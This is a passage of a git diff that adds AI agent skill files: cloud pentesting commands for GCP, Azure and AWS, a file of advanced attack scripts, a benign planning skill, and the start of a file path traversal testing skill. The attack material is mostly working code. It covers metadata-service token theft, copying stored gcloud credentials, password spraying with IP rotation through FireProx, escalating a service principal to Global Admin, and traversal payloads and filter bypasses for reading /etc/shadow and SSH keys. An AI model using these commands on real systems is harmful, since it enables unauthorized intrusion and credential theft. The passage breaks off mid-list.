gcloud sql databases list --instance <id>
|
||||
|
||||
# Kubernetes
|
||||
gcloud container clusters list
|
||||
gcloud container clusters get-credentials <cluster> --region <region>
|
||||
kubectl cluster-info
|
||||
```
|
||||
|
||||
### Phase 11: GCP Exploitation
|
||||
|
||||
Exploit GCP misconfigurations:
|
||||
|
||||
```bash
|
||||
# Get metadata service data
|
||||
curl "http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=text" -H "Metadata-Flavor: Google"
|
||||
|
||||
# Check access scopes
|
||||
curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes -H 'Metadata-Flavor:Google'
|
||||
|
||||
# Decrypt data with keyring
|
||||
gcloud kms decrypt --ciphertext-file=encrypted.enc --plaintext-file=out.txt --key <key> --keyring <keyring> --location global
|
||||
|
||||
# Serverless function analysis
|
||||
gcloud functions list
|
||||
gcloud functions describe <name>
|
||||
gcloud functions logs read <name> --limit 100
|
||||
|
||||
# Find stored credentials
|
||||
sudo find /home -name "credentials.db"
|
||||
sudo cp -r /home/user/.config/gcloud ~/.config
|
||||
gcloud auth list
|
||||
```
|
||||
|
||||
## Quick Reference
|
||||
|
||||
### Azure Key Commands
|
||||
|
||||
| Action | Command |
|
||||
|--------|---------|
|
||||
| Login | `Connect-AzAccount` |
|
||||
| List subscriptions | `Get-AzSubscription` |
|
||||
| List users | `Get-MsolUser -All` |
|
||||
| List groups | `Get-MsolGroup -All` |
|
||||
| Current roles | `Get-AzRoleAssignment` |
|
||||
| List VMs | `Get-AzVM` |
|
||||
| List storage | `Get-AzStorageAccount` |
|
||||
| Key Vault secrets | `az keyvault secret list --vault-name <name>` |
|
||||
|
||||
### AWS Key Commands
|
||||
|
||||
| Action | Command |
|
||||
|--------|---------|
|
||||
| Configure | `aws configure` |
|
||||
| Caller identity | `aws sts get-caller-identity` |
|
||||
| List users | `aws iam list-users` |
|
||||
| List S3 buckets | `aws s3 ls` |
|
||||
| List EC2 | `aws ec2 describe-instances` |
|
||||
| List Lambda | `aws lambda list-functions` |
|
||||
| Metadata | `curl http://169.254.169.254/latest/meta-data/` |
|
||||
|
||||
### GCP Key Commands
|
||||
|
||||
| Action | Command |
|
||||
|--------|---------|
|
||||
| Login | `gcloud auth login` |
|
||||
| List projects | `gcloud projects list` |
|
||||
| List instances | `gcloud compute instances list` |
|
||||
| List buckets | `gsutil ls` |
|
||||
| List clusters | `gcloud container clusters list` |
|
||||
| IAM policy | `gcloud projects get-iam-policy <project>` |
|
||||
| Metadata | `curl -H "Metadata-Flavor: Google" http://metadata.google.internal/...` |
|
||||
|
||||
### Metadata Service URLs
|
||||
|
||||
| Provider | URL |
|
||||
|----------|-----|
|
||||
| AWS | `http://169.254.169.254/latest/meta-data/` |
|
||||
| Azure | `http://169.254.169.254/metadata/instance?api-version=2018-02-01` |
|
||||
| GCP | `http://metadata.google.internal/computeMetadata/v1/` |
|
||||
|
||||
### Useful Tools
|
||||
|
||||
| Tool | Purpose |
|
||||
|------|---------|
|
||||
| ScoutSuite | Multi-cloud security auditing |
|
||||
| Pacu | AWS exploitation framework |
|
||||
| AzureHound | Azure AD attack path mapping |
|
||||
| ROADTools | Azure AD enumeration |
|
||||
| WeirdAAL | AWS service enumeration |
|
||||
| MicroBurst | Azure security assessment |
|
||||
| PowerZure | Azure post-exploitation |
|
||||
|
||||
## Constraints and Limitations
|
||||
|
||||
### Legal Requirements
|
||||
- Only test with explicit written authorization
|
||||
- Respect scope boundaries between cloud accounts
|
||||
- Do not access production customer data
|
||||
- Document all testing activities
|
||||
|
||||
### Technical Limitations
|
||||
- MFA may prevent credential-based attacks
|
||||
- Conditional Access policies may restrict access
|
||||
- CloudTrail/Activity Logs record all API calls
|
||||
- Some resources require specific regional access
|
||||
|
||||
### Detection Considerations
|
||||
- Cloud providers log all API activity
|
||||
- Unusual access patterns trigger alerts
|
||||
- Use slow, deliberate enumeration
|
||||
- Consider GuardDuty, Security Center, Cloud Armor
|
||||
|
||||
## Examples
|
||||
|
||||
### Example 1: Azure Password Spray
|
||||
|
||||
**Scenario:** Test Azure AD password policy
|
||||
|
||||
```powershell
|
||||
# Using MSOLSpray with FireProx for IP rotation
|
||||
# First create FireProx endpoint
|
||||
python fire.py --access_key <key> --secret_access_key <secret> --region us-east-1 --url https://login.microsoft.com --command create
|
||||
|
||||
# Spray passwords
|
||||
Import-Module .\MSOLSpray.ps1
|
||||
Invoke-MSOLSpray -UserList .\users.txt -Password "Spring2024!" -URL https://<api-gateway>.execute-api.us-east-1.amazonaws.com/fireprox
|
||||
```
|
||||
|
||||
### Example 2: AWS S3 Bucket Enumeration
|
||||
|
||||
**Scenario:** Find and access misconfigured S3 buckets
|
||||
|
||||
```bash
|
||||
# List all buckets
|
||||
aws s3 ls | awk '{print $3}' > buckets.txt
|
||||
|
||||
# Check each bucket for contents
|
||||
while read bucket; do
|
||||
echo "Checking: $bucket"
|
||||
aws s3 ls s3://$bucket 2>/dev/null
|
||||
done < buckets.txt
|
||||
|
||||
# Download interesting bucket
|
||||
aws s3 sync s3://misconfigured-bucket ./loot/
|
||||
```
|
||||
|
||||
### Example 3: GCP Service Account Compromise
|
||||
|
||||
**Scenario:** Pivot using compromised service account
|
||||
|
||||
```bash
|
||||
# Authenticate with service account key
|
||||
gcloud auth activate-service-account --key-file compromised-sa.json
|
||||
|
||||
# List accessible projects
|
||||
gcloud projects list
|
||||
|
||||
# Enumerate compute instances
|
||||
gcloud compute instances list --project target-project
|
||||
|
||||
# Check for SSH keys in metadata
|
||||
gcloud compute project-info describe --project target-project | grep ssh
|
||||
|
||||
# SSH to instance
|
||||
gcloud beta compute ssh instance-name --zone us-central1-a --project target-project
|
||||
```
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
| Issue | Solutions |
|
||||
|-------|-----------|
|
||||
| Authentication failures | Verify credentials; check MFA; ensure correct tenant/project; try alternative auth methods |
|
||||
| Permission denied | List current roles; try different resources; check resource policies; verify region |
|
||||
| Metadata service blocked | Check IMDSv2 (AWS); verify instance role; check firewall for 169.254.169.254 |
|
||||
| Rate limiting | Add delays; spread across regions; use multiple credentials; focus on high-value targets |
|
||||
|
||||
## References
|
||||
|
||||
- [Advanced Cloud Scripts](references/advanced-cloud-scripts.md) - Azure Automation runbooks, Function Apps enumeration, AWS data exfiltration, GCP advanced exploitation
|
||||
@@ -0,0 +1,318 @@
|
||||
# Advanced Cloud Pentesting Scripts
|
||||
|
||||
Reference: [Cloud Pentesting Cheatsheet by Beau Bullock](https://github.com/dafthack/CloudPentestCheatsheets)
|
||||
|
||||
## Azure Automation Runbooks
|
||||
|
||||
### Export All Runbooks from All Subscriptions
|
||||
|
||||
```powershell
|
||||
$subs = Get-AzSubscription
|
||||
Foreach($s in $subs){
|
||||
$subscriptionid = $s.SubscriptionId
|
||||
mkdir .\$subscriptionid\
|
||||
Select-AzSubscription -Subscription $subscriptionid
|
||||
$runbooks = @()
|
||||
$autoaccounts = Get-AzAutomationAccount | Select-Object AutomationAccountName,ResourceGroupName
|
||||
foreach ($i in $autoaccounts){
|
||||
$runbooks += Get-AzAutomationRunbook -AutomationAccountName $i.AutomationAccountName -ResourceGroupName $i.ResourceGroupName | Select-Object AutomationAccountName,ResourceGroupName,Name
|
||||
}
|
||||
foreach($r in $runbooks){
|
||||
Export-AzAutomationRunbook -AutomationAccountName $r.AutomationAccountName -ResourceGroupName $r.ResourceGroupName -Name $r.Name -OutputFolder .\$subscriptionid\
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Export All Automation Job Outputs
|
||||
|
||||
```powershell
|
||||
$subs = Get-AzSubscription
|
||||
$jobout = @()
|
||||
Foreach($s in $subs){
|
||||
$subscriptionid = $s.SubscriptionId
|
||||
Select-AzSubscription -Subscription $subscriptionid
|
||||
$jobs = @()
|
||||
$autoaccounts = Get-AzAutomationAccount | Select-Object AutomationAccountName,ResourceGroupName
|
||||
foreach ($i in $autoaccounts){
|
||||
$jobs += Get-AzAutomationJob $i.AutomationAccountName -ResourceGroupName $i.ResourceGroupName | Select-Object AutomationAccountName,ResourceGroupName,JobId
|
||||
}
|
||||
foreach($r in $jobs){
|
||||
$jobout += Get-AzAutomationJobOutput -AutomationAccountName $r.AutomationAccountName -ResourceGroupName $r.ResourceGroupName -JobId $r.JobId
|
||||
}
|
||||
}
|
||||
$jobout | Out-File -Encoding ascii joboutputs.txt
|
||||
```
|
||||
|
||||
## Azure Function Apps
|
||||
|
||||
### List All Function App Hostnames
|
||||
|
||||
```powershell
|
||||
$functionapps = Get-AzFunctionApp
|
||||
foreach($f in $functionapps){
|
||||
$f.EnabledHostname
|
||||
}
|
||||
```
|
||||
|
||||
### Extract Function App Information
|
||||
|
||||
```powershell
|
||||
$subs = Get-AzSubscription
|
||||
$allfunctioninfo = @()
|
||||
Foreach($s in $subs){
|
||||
$subscriptionid = $s.SubscriptionId
|
||||
Select-AzSubscription -Subscription $subscriptionid
|
||||
$functionapps = Get-AzFunctionApp
|
||||
foreach($f in $functionapps){
|
||||
$allfunctioninfo += $f.config | Select-Object AcrUseManagedIdentityCred,AcrUserManagedIdentityId,AppCommandLine,ConnectionString,CorSupportCredentials,CustomActionParameter
|
||||
$allfunctioninfo += $f.SiteConfig | fl
|
||||
$allfunctioninfo += $f.ApplicationSettings | fl
|
||||
$allfunctioninfo += $f.IdentityUserAssignedIdentity.Keys | fl
|
||||
}
|
||||
}
|
||||
$allfunctioninfo
|
||||
```
|
||||
|
||||
## Azure Device Code Login Flow
|
||||
|
||||
### Initiate Device Code Login
|
||||
|
||||
```powershell
|
||||
$body = @{
|
||||
"client_id" = "1950a258-227b-4e31-a9cf-717495945fc2"
|
||||
"resource" = "https://graph.microsoft.com"
|
||||
}
|
||||
$UserAgent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36"
|
||||
$Headers = @{}
|
||||
$Headers["User-Agent"] = $UserAgent
|
||||
$authResponse = Invoke-RestMethod `
|
||||
-UseBasicParsing `
|
||||
-Method Post `
|
||||
-Uri "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0" `
|
||||
-Headers $Headers `
|
||||
-Body $body
|
||||
$authResponse
|
||||
```
|
||||
|
||||
Navigate to https://microsoft.com/devicelogin and enter the code.
|
||||
|
||||
### Retrieve Access Tokens
|
||||
|
||||
```powershell
|
||||
$body = @{
|
||||
"client_id" = "1950a258-227b-4e31-a9cf-717495945fc2"
|
||||
"grant_type" = "urn:ietf:params:oauth:grant-type:device_code"
|
||||
"code" = $authResponse.device_code
|
||||
}
|
||||
$Tokens = Invoke-RestMethod `
|
||||
-UseBasicParsing `
|
||||
-Method Post `
|
||||
-Uri "https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0" `
|
||||
-Headers $Headers `
|
||||
-Body $body
|
||||
$Tokens
|
||||
```
|
||||
|
||||
## Azure Managed Identity Token Retrieval
|
||||
|
||||
```powershell
|
||||
# From Azure VM
|
||||
Invoke-WebRequest -Uri 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com' -Method GET -Headers @{Metadata="true"} -UseBasicParsing
|
||||
|
||||
# Full instance metadata
|
||||
$instance = Invoke-WebRequest -Uri 'http://169.254.169.254/metadata/instance?api-version=2018-02-01' -Method GET -Headers @{Metadata="true"} -UseBasicParsing
|
||||
$instance
|
||||
```
|
||||
|
||||
## AWS Region Iteration Scripts
|
||||
|
||||
Create `regions.txt`:
|
||||
```
|
||||
us-east-1
|
||||
us-east-2
|
||||
us-west-1
|
||||
us-west-2
|
||||
ca-central-1
|
||||
eu-west-1
|
||||
eu-west-2
|
||||
eu-west-3
|
||||
eu-central-1
|
||||
eu-north-1
|
||||
ap-southeast-1
|
||||
ap-southeast-2
|
||||
ap-south-1
|
||||
ap-northeast-1
|
||||
ap-northeast-2
|
||||
ap-northeast-3
|
||||
sa-east-1
|
||||
```
|
||||
|
||||
### List All EC2 Public IPs
|
||||
|
||||
```bash
|
||||
while read r; do
|
||||
aws ec2 describe-instances --query=Reservations[].Instances[].PublicIpAddress --region $r | jq -r '.[]' >> ec2-public-ips.txt
|
||||
done < regions.txt
|
||||
sort -u ec2-public-ips.txt -o ec2-public-ips.txt
|
||||
```
|
||||
|
||||
### List All ELB DNS Addresses
|
||||
|
||||
```bash
|
||||
while read r; do
|
||||
aws elbv2 describe-load-balancers --query LoadBalancers[*].DNSName --region $r | jq -r '.[]' >> elb-public-dns.txt
|
||||
aws elb describe-load-balancers --query LoadBalancerDescriptions[*].DNSName --region $r | jq -r '.[]' >> elb-public-dns.txt
|
||||
done < regions.txt
|
||||
sort -u elb-public-dns.txt -o elb-public-dns.txt
|
||||
```
|
||||
|
||||
### List All RDS DNS Addresses
|
||||
|
||||
```bash
|
||||
while read r; do
|
||||
aws rds describe-db-instances --query=DBInstances[*].Endpoint.Address --region $r | jq -r '.[]' >> rds-public-dns.txt
|
||||
done < regions.txt
|
||||
sort -u rds-public-dns.txt -o rds-public-dns.txt
|
||||
```
|
||||
|
||||
### Get CloudFormation Outputs
|
||||
|
||||
```bash
|
||||
while read r; do
|
||||
aws cloudformation describe-stacks --query 'Stacks[*].[StackName, Description, Parameters, Outputs]' --region $r | jq -r '.[]' >> cloudformation-outputs.txt
|
||||
done < regions.txt
|
||||
```
|
||||
|
||||
## ScoutSuite jq Parsing Queries
|
||||
|
||||
### AWS Queries
|
||||
|
||||
```bash
|
||||
# Find All Lambda Environment Variables
|
||||
for d in */ ; do
|
||||
tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.awslambda.regions[].functions[] | select (.env_variables != []) | .arn, .env_variables' >> lambda-all-environment-variables.txt
|
||||
done
|
||||
|
||||
# Find World Listable S3 Buckets
|
||||
for d in */ ; do
|
||||
tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.account_id, .services.s3.findings."s3-bucket-AuthenticatedUsers-read".items[]' >> s3-buckets-world-listable.txt
|
||||
done
|
||||
|
||||
# Find All EC2 User Data
|
||||
for d in */ ; do
|
||||
tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.ec2.regions[].vpcs[].instances[] | select (.user_data != null) | .arn, .user_data' >> ec2-instance-all-user-data.txt
|
||||
done
|
||||
|
||||
# Find EC2 Security Groups That Whitelist AWS CIDRs
|
||||
for d in */ ; do
|
||||
tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.account_id' >> ec2-security-group-whitelists-aws-cidrs.txt
|
||||
tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.ec2.findings."ec2-security-group-whitelists-aws".items' >> ec2-security-group-whitelists-aws-cidrs.txt
|
||||
done
|
||||
|
||||
# Find All EC2 EBS Volumes Unencrypted
|
||||
for d in */ ; do
|
||||
tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.ec2.regions[].volumes[] | select(.Encrypted == false) | .arn' >> ec2-ebs-volume-not-encrypted.txt
|
||||
done
|
||||
|
||||
# Find All EC2 EBS Snapshots Unencrypted
|
||||
for d in */ ; do
|
||||
tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.ec2.regions[].snapshots[] | select(.encrypted == false) | .arn' >> ec2-ebs-snapshot-not-encrypted.txt
|
||||
done
|
||||
```
|
||||
|
||||
### Azure Queries
|
||||
|
||||
```bash
|
||||
# List All Azure App Service Host Names
|
||||
tail scoutsuite_results_azure-tenant-*.js -n +2 | jq -r '.services.appservice.subscriptions[].web_apps[].host_names[]'
|
||||
|
||||
# List All Azure SQL Servers
|
||||
tail scoutsuite_results_azure-tenant-*.js -n +2 | jq -jr '.services.sqldatabase.subscriptions[].servers[] | .name,".database.windows.net","\n"'
|
||||
|
||||
# List All Azure Virtual Machine Hostnames
|
||||
tail scoutsuite_results_azure-tenant-*.js -n +2 | jq -jr '.services.virtualmachines.subscriptions[].instances[] | .name,".",.location,".cloudapp.windows.net","\n"'
|
||||
|
||||
# List Storage Accounts
|
||||
tail scoutsuite_results_azure-tenant-*.js -n +2 | jq -r '.services.storageaccounts.subscriptions[].storage_accounts[] | .name'
|
||||
|
||||
# List Disks Encrypted with Platform Managed Keys
|
||||
tail scoutsuite_results_azure-tenant-*.js -n +2 | jq '.services.virtualmachines.subscriptions[].disks[] | select(.encryption_type = "EncryptionAtRestWithPlatformKey") | .name' > disks-with-pmks.txt
|
||||
```
|
||||
|
||||
## Password Spraying with Az PowerShell
|
||||
|
||||
```powershell
|
||||
$userlist = Get-Content userlist.txt
|
||||
$passlist = Get-Content passlist.txt
|
||||
$linenumber = 0
|
||||
$count = $userlist.count
|
||||
foreach($line in $userlist){
|
||||
$user = $line
|
||||
$pass = ConvertTo-SecureString $passlist[$linenumber] -AsPlainText -Force
|
||||
$current = $linenumber + 1
|
||||
Write-Host -NoNewline ("`r[" + $current + "/" + $count + "]" + "Trying: " + $user + " and " + $passlist[$linenumber])
|
||||
$linenumber++
|
||||
$Cred = New-Object System.Management.Automation.PSCredential ($user, $pass)
|
||||
try {
|
||||
Connect-AzAccount -Credential $Cred -ErrorAction Stop -WarningAction SilentlyContinue
|
||||
Add-Content valid-creds.txt ($user + "|" + $passlist[$linenumber - 1])
|
||||
Write-Host -ForegroundColor green ("`nGot something here: $user and " + $passlist[$linenumber - 1])
|
||||
}
|
||||
catch {
|
||||
$Failure = $_.Exception
|
||||
if ($Failure -match "ID3242") { continue }
|
||||
else {
|
||||
Write-Host -ForegroundColor green ("`nGot something here: $user and " + $passlist[$linenumber - 1])
|
||||
Add-Content valid-creds.txt ($user + "|" + $passlist[$linenumber - 1])
|
||||
Add-Content valid-creds.txt $Failure.Message
|
||||
Write-Host -ForegroundColor red $Failure.Message
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## Service Principal Attack Path
|
||||
|
||||
```bash
|
||||
# Reset service principal credential
|
||||
az ad sp credential reset --id <app_id>
|
||||
az ad sp credential list --id <app_id>
|
||||
|
||||
# Login as service principal
|
||||
az login --service-principal -u "app id" -p "password" --tenant <tenant ID> --allow-no-subscriptions
|
||||
|
||||
# Create new user in tenant
|
||||
az ad user create --display-name <name> --password <password> --user-principal-name <upn>
|
||||
|
||||
# Add user to Global Admin via MS Graph
|
||||
$Body="{'principalId':'User Object ID', 'roleDefinitionId': '62e90394-69f5-4237-9190-012177145e10', 'directoryScopeId': '/'}"
|
||||
az rest --method POST --uri https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments --headers "Content-Type=application/json" --body $Body
|
||||
```
|
||||
|
||||
## Additional Tools Reference
|
||||
|
||||
| Tool | URL | Purpose |
|
||||
|------|-----|---------|
|
||||
| MicroBurst | github.com/NetSPI/MicroBurst | Azure security assessment |
|
||||
| PowerZure | github.com/hausec/PowerZure | Azure post-exploitation |
|
||||
| ROADTools | github.com/dirkjanm/ROADtools | Azure AD enumeration |
|
||||
| Stormspotter | github.com/Azure/Stormspotter | Azure attack path graphing |
|
||||
| MSOLSpray | github.com/dafthack | O365 password spraying |
|
||||
| AzureHound | github.com/BloodHoundAD/AzureHound | Azure AD attack paths |
|
||||
| WeirdAAL | github.com/carnal0wnage/weirdAAL | AWS enumeration |
|
||||
| Pacu | github.com/RhinoSecurityLabs/pacu | AWS exploitation |
|
||||
| ScoutSuite | github.com/nccgroup/ScoutSuite | Multi-cloud auditing |
|
||||
| cloud_enum | github.com/initstring/cloud_enum | Public resource discovery |
|
||||
| GitLeaks | github.com/zricethezav/gitleaks | Secret scanning |
|
||||
| TruffleHog | github.com/dxa4481/truffleHog | Git secret scanning |
|
||||
| ip2Provider | github.com/oldrho/ip2provider | Cloud IP identification |
|
||||
| FireProx | github.com/ustayready/fireprox | IP rotation via AWS API Gateway |
|
||||
|
||||
## Vulnerable Training Environments
|
||||
|
||||
| Platform | URL | Purpose |
|
||||
|----------|-----|---------|
|
||||
| CloudGoat | github.com/RhinoSecurityLabs/cloudgoat | AWS vulnerable lab |
|
||||
| SadCloud | github.com/nccgroup/sadcloud | Terraform misconfigs |
|
||||
| Flaws Cloud | flaws.cloud | AWS CTF challenges |
|
||||
| Thunder CTF | thunder-ctf.cloud | GCP CTF challenges |
|
||||
62
skills/concise-planning/SKILL.md
Normal file
62
skills/concise-planning/SKILL.md
Normal file
@@ -0,0 +1,62 @@
|
||||
---
|
||||
name: concise-planning
|
||||
description: Use when a user asks for a plan for a coding task, to generate a clear, actionable, and atomic checklist.
|
||||
---
|
||||
|
||||
# Concise Planning
|
||||
|
||||
## Goal
|
||||
|
||||
Turn a user request into a **single, actionable plan** with atomic steps.
|
||||
|
||||
## Workflow
|
||||
|
||||
### 1. Scan Context
|
||||
|
||||
- Read `README.md`, docs, and relevant code files.
|
||||
- Identify constraints (language, frameworks, tests).
|
||||
|
||||
### 2. Minimal Interaction
|
||||
|
||||
- Ask **at most 1–2 questions** and only if truly blocking.
|
||||
- Make reasonable assumptions for non-blocking unknowns.
|
||||
|
||||
### 3. Generate Plan
|
||||
|
||||
Use the following structure:
|
||||
|
||||
- **Approach**: 1-3 sentences on what and why.
|
||||
- **Scope**: Bullet points for "In" and "Out".
|
||||
- **Action Items**: A list of 6-10 atomic, ordered tasks (Verb-first).
|
||||
- **Validation**: At least one item for testing.
|
||||
|
||||
## Plan Template
|
||||
|
||||
```markdown
|
||||
# Plan
|
||||
|
||||
<High-level approach>
|
||||
|
||||
## Scope
|
||||
|
||||
- In:
|
||||
- Out:
|
||||
|
||||
## Action Items
|
||||
|
||||
[ ] <Step 1: Discovery>
|
||||
[ ] <Step 2: Implementation>
|
||||
[ ] <Step 3: Implementation>
|
||||
[ ] <Step 4: Validation/Testing>
|
||||
[ ] <Step 5: Rollout/Commit>
|
||||
|
||||
## Open Questions
|
||||
|
||||
- <Question 1 (max 3)>
|
||||
```
|
||||
|
||||
## Checklist Guidelines
|
||||
|
||||
- **Atomic**: Each step should be a single logical unit of work.
|
||||
- **Verb-first**: "Add...", "Refactor...", "Verify...".
|
||||
- **Concrete**: Name specific files or modules when possible.
|
||||
1
skills/docx
Symbolic link
1
skills/docx
Symbolic link
@@ -0,0 +1 @@
|
||||
docx-official
|
||||
483
skills/file-path-traversal/SKILL.md
Normal file
483
skills/file-path-traversal/SKILL.md
Normal file
@@ -0,0 +1,483 @@
|
||||
---
|
||||
name: File Path Traversal Testing
|
||||
description: This skill should be used when the user asks to "test for directory traversal", "exploit path traversal vulnerabilities", "read arbitrary files through web applications", "find LFI vulnerabilities", or "access files outside web root". It provides comprehensive file path traversal attack and testing methodologies.
|
||||
---
|
||||
|
||||
# File Path Traversal Testing
|
||||
|
||||
## Purpose
|
||||
|
||||
Identify and exploit file path traversal (directory traversal) vulnerabilities that allow attackers to read arbitrary files on the server, potentially including sensitive configuration files, credentials, and source code. This vulnerability occurs when user-controllable input is passed to filesystem APIs without proper validation.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
### Required Tools
|
||||
- Web browser with developer tools
|
||||
- Burp Suite or OWASP ZAP
|
||||
- cURL for testing payloads
|
||||
- Wordlists for automation
|
||||
- ffuf or wfuzz for fuzzing
|
||||
|
||||
### Required Knowledge
|
||||
- HTTP request/response structure
|
||||
- Linux and Windows filesystem layout
|
||||
- Web application architecture
|
||||
- Basic understanding of file APIs
|
||||
|
||||
## Outputs and Deliverables
|
||||
|
||||
1. **Vulnerability Report** - Identified traversal points and severity
|
||||
2. **Exploitation Proof** - Extracted file contents
|
||||
3. **Impact Assessment** - Accessible files and data exposure
|
||||
4. **Remediation Guidance** - Secure coding recommendations
|
||||
|
||||
## Core Workflow
|
||||
|
||||
### Phase 1: Understanding Path Traversal
|
||||
|
||||
Path traversal occurs when applications use user input to construct file paths:
|
||||
|
||||
```php
|
||||
// Vulnerable PHP code example
|
||||
$template = "blue.php";
|
||||
if (isset($_COOKIE['template']) && !empty($_COOKIE['template'])) {
|
||||
$template = $_COOKIE['template'];
|
||||
}
|
||||
include("/home/user/templates/" . $template);
|
||||
```
|
||||
|
||||
Attack principle:
|
||||
- `../` sequence moves up one directory
|
||||
- Chain multiple sequences to reach root
|
||||
- Access files outside intended directory
|
||||
|
||||
Impact:
|
||||
- **Confidentiality** - Read sensitive files
|
||||
- **Integrity** - Write/modify files (in some cases)
|
||||
- **Availability** - Delete files (in some cases)
|
||||
- **Code Execution** - If combined with file upload or log poisoning
|
||||
|
||||
### Phase 2: Identifying Traversal Points
|
||||
|
||||
Map application for potential file operations:
|
||||
|
||||
```bash
|
||||
# Parameters that often handle files
|
||||
?file=
|
||||
?path=
|
||||
?page=
|
||||
?template=
|
||||
?filename=
|
||||
?doc=
|
||||
?document=
|
||||
?folder=
|
||||
?dir=
|
||||
?include=
|
||||
?src=
|
||||
?source=
|
||||
?content=
|
||||
?view=
|
||||
?download=
|
||||
?load=
|
||||
?read=
|
||||
?retrieve=
|
||||
```
|
||||
|
||||
Common vulnerable functionality:
|
||||
- Image loading: `/image?filename=23.jpg`
|
||||
- Template selection: `?template=blue.php`
|
||||
- File downloads: `/download?file=report.pdf`
|
||||
- Document viewers: `/view?doc=manual.pdf`
|
||||
- Include mechanisms: `?page=about`
|
||||
|
||||
### Phase 3: Basic Exploitation Techniques
|
||||
|
||||
#### Simple Path Traversal
|
||||
|
||||
```bash
|
||||
# Basic Linux traversal
|
||||
../../../etc/passwd
|
||||
../../../../etc/passwd
|
||||
../../../../../etc/passwd
|
||||
../../../../../../etc/passwd
|
||||
|
||||
# Windows traversal
|
||||
..\..\..\windows\win.ini
|
||||
..\..\..\..\windows\system32\drivers\etc\hosts
|
||||
|
||||
# URL encoded
|
||||
..%2F..%2F..%2Fetc%2Fpasswd
|
||||
..%252F..%252F..%252Fetc%252Fpasswd # Double encoding
|
||||
|
||||
# Test payloads with curl
|
||||
curl "http://target.com/image?filename=../../../etc/passwd"
|
||||
curl "http://target.com/download?file=....//....//....//etc/passwd"
|
||||
```
|
||||
|
||||
#### Absolute Path Injection
|
||||
|
||||
```bash
|
||||
# Direct absolute path (Linux)
|
||||
/etc/passwd
|
||||
/etc/shadow
|
||||
/etc/hosts
|
||||
/proc/self/environ
|
||||
|
||||
# Direct absolute path (Windows)
|
||||
C:\windows\win.ini
|
||||
C:\windows\system32\drivers\etc\hosts
|
||||
C:\boot.ini
|
||||
```
|
||||
|
||||
### Phase 4: Bypass Techniques
|
||||
|
||||
#### Bypass Stripped Traversal Sequences
|
||||
|
||||
```bash
|
||||
# When ../ is stripped once
|
||||
....//....//....//etc/passwd
|
||||
....\/....\/....\/etc/passwd
|
||||
|
||||
# Nested traversal
|
||||
..././..././..././etc/passwd
|
||||
....//....//etc/passwd
|
||||
|
||||
# Mixed encoding
|
||||
..%2f..%2f..%2fetc/passwd
|
||||
%2e%2e/%2e%2e/%2e%2e/etc/passwd
|
||||
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
|
||||
```
|
||||
|
||||
#### Bypass Extension Validation
|
||||
|
||||
```bash
|
||||
# Null byte injection (older PHP versions)
|
||||
../../../etc/passwd%00.jpg
|
||||
../../../etc/passwd%00.png
|
||||
|
||||
# Path truncation
|
||||
../../../etc/passwd...............................
|
||||
|
||||
# Double extension
|
||||
../../../etc/passwd.jpg.php
|
||||
```
|
||||
|
||||
#### Bypass Base Directory Validation
|
||||
|
||||
```bash
|
||||
# When path must start with expected directory
|
||||
/var/www/images/../../../etc/passwd
|
||||
|
||||
# Expected path followed by traversal
|
||||
images/../../../etc/passwd
|
||||
```
|
||||
|
||||
#### Bypass Blacklist Filters
|
||||
|
||||
```bash
|
||||
# Unicode/UTF-8 encoding
|
||||
..%c0%af..%c0%af..%c0%afetc/passwd
|
||||
..%c1%9c..%c1%9c..%c1%9cetc/passwd
|
||||
|
||||
# Overlong UTF-8 encoding
|
||||
%c0%2e%c0%2e%c0%af
|
||||
|
||||
# URL encoding variations
|
||||
%2e%2e/
|
||||
%2e%2e%5c
|
||||
..%5c
|
||||
..%255c
|
||||
|
||||
# Case variations (Windows)
|
||||
....\\....\\etc\\passwd
|
||||
```
|
||||
|
||||
### Phase 5: Linux Target Files
|
||||
|
||||
High-value files to target:
|
||||
|
||||
```bash
|
||||
# System files
|
||||
/etc/passwd # User accounts
|
||||
/etc/shadow # Password hashes (root only)
|
||||
/etc/group # Group information
|
||||
/etc/hosts # Host mappings
|
||||
/etc/hostname # System hostname
|
||||
/etc/issue # System banner
|
||||
|
||||
# SSH files
|
||||
/root/.ssh/id_rsa # Root private key
|
||||
/root/.ssh/authorized_keys # Authorized keys
|
||||
/home/<user>/.ssh/id_rsa # User private keys
|
||||
/etc/ssh/sshd_config # SSH configuration
|
||||
|
||||
# Web server files
|
||||
/etc/apache2/apache2.conf
|
||||
/etc/nginx/nginx.conf
|
||||
/etc/apache2/sites-enabled/000-default.conf
|
||||
/var/log/apache2/access.log
|
||||
/var/log/apache2/error.log
|
||||
/var/log/nginx/access.log
|
||||
|
||||
# Application files
|
||||
/var/www/html/config.php
|
||||
/var/www/html/wp-config.php
|
||||
/var/www/html/.htaccess
|
||||
/var/www/html/web.config
|
||||
|
||||
# Process information
|
||||
/proc/self/environ # Environment variables
|
||||
/proc/self/cmdline # Process command line
|
||||
/proc/self/fd/0 # File descriptors
|
||||
/proc/version # Kernel version
|
||||
|
||||
# Common application configs
|
||||
/etc/mysql/my.cnf
|
||||
/etc/postgresql/*/postgresql.conf
|
||||
/opt/lampp/etc/httpd.conf
|
||||
```
|
||||
|
||||
### Phase 6: Windows Target Files
|
||||
|
||||
Windows-specific targets:
|
||||
|
||||
```bash
|
||||
# System files
|
||||
C:\windows\win.ini
|
||||
C:\windows\system.ini
|
||||
C:\boot.ini
|
||||
